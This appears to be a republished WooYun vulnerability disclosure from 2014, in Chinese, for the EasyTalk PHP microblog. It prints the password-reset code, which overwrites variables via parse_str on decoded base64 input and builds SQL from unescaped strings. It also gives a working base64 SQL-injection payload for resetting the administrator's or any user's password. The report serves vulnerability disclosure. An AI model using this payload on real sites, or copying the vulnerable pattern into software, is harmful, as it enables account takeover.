开源微博EasyTalk任意用户密码修改 (变量覆盖)

来源:互联网 发布:蚁群算法教程 编辑:程序博客网 时间:2024/04/29 20:35

漏洞概要关注数(2关注此漏洞

缺陷编号: WooYun-2014-51158

漏洞标题: 开源微博EasyTalk任意用户密码修改

相关厂商: nextsns.com

漏洞作者: felixk3y

提交时间: 2014-02-17 11:05

公开时间: 2014-05-18 11:05

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org

Tags标签: 设计缺陷/边界绕过 php源码审核

0人收藏 收藏
分享漏洞:
0


漏洞详情

披露状态:

2014-02-17: 细节已通知厂商并且等待厂商处理中
2014-02-17: 厂商已经确认,细节仅向厂商公开
2014-02-20: 细节向第三方安全合作伙伴开放
2014-02-27: 细节向核心白帽子及相关领域专家公开
2014-03-09: 细节向普通白帽子公开
2014-03-29: 细节向实习白帽子公开
2014-05-18: 细节向公众公开

简要描述:

开源微博系统EasyTalk任意用户密码修改,包括管理员 而且不用登陆,非常强大...
(其实只是一个小小的设计缺陷):-)

详细说明:

#1 CMS介绍

EasyTalk是国内首款多用户PHP+Mysql开源微博系统,支持网页、手机Wap、手机短信、QQ、Gtalk、飞信等多种方式发表或接收信息,EasyTalk全面符合国人的上网习惯,真正轻量级架构,使得使用者上手容易,管理者安装部署容易、管理便捷。EasyTalk功能强大,便捷的插件系统,可二次开发性高,人性化的模板自定义功能大幅提高了用户的体验,因此EasyTalk相比国内其他微博系统有绝对的优势!

11.jpg



#2 漏洞分析

我们先来看下用户找回密码的连接

http://www.vulns.org/easytalk/?m=index&a=checkreset&urldata=dXNlcl9uYW1lPXRlc3QmbWFpbGFkcmVzPWZlbGl4azN5QHFxLmNvbSZ1c2VyX2lkPTImZGF0ZWxpbmU9MTM5MjYwNDE5NQ==



这里重点留意urldata参数,很显然是Base64加密,我们把它解密

user_name=test&mailadres=felixk3y@qq.com&user_id=2&dateline=1392604195



第一感觉,90%有问题...

接下来,我们看该处的源代码,都是怎样实现的

/Home/Lib/Action/IndexAction.class.php 445行checkreset()函数

public function checkreset() {
parent::tohome();
$uModel=D('Users');
$urldata=$_REQUEST['urldata'];//接收urldata 参数
parse_str(base64_decode($urldata));//parse_str 变量覆盖

if (time()-$dateline>3600*5) {
setcookie('setok', json_encode(array('lang'=>L('reset3'),'ico'=>2)),0,'/');//该地址已经过期,请重新“找回密码”
header('location:'.SITE_URL.'/?m=index&a=reset');
exit;
} else {
$user=$uModel->getUser("user_id='$user_id' AND user_name='$user_name' AND mailadres='$mailadres'");//直接带入了数据库...Oh My Ga.
if (!$user['user_id']) {
setcookie('setok', json_encode(array('lang'=>L('reset4'),'ico'=>2)),0,'/');//地址验证失败,请重新“找回密码”
header('location:'.SITE_URL.'/?m=index&a=reset');
exit;
}
}

$this->assign('subname',L('find_pwd'));
$this->assign('user',$user);
$this->assign('urldata',$urldata);
$this->assign('type','find');
$this->display('reset');
}



$_REQUEST 方式接收urldata参数,Base64解码后直接带入了数据库查询,我的天 这究竟是神马设计?

既然它毫不客气的将参数带入了数据库,那么我肯定也是不会客气

从程序可以猜测,更新用户密码的SQL 类似如下 

update * from tk_user where user_id='$user_id' AND user_name='$user_name' AND mailadres='$mailadres'



于是我们利用parse_str变量覆盖,可以提交urldata参数为

urldata= dXNlcl9pZD0yJyBhbmQgMT0xIw==
Base64解码为:urldata=user_id=1' and 1=1#



就可以修改管理员(管理的user_id为1)的密码

22.jpg



同理,我们修改user_id为其他用户的id,即可修改其密码

33.jpg

漏洞证明:

44.jpg

修复方案:

过滤,增强验证

0 0
原创粉丝点击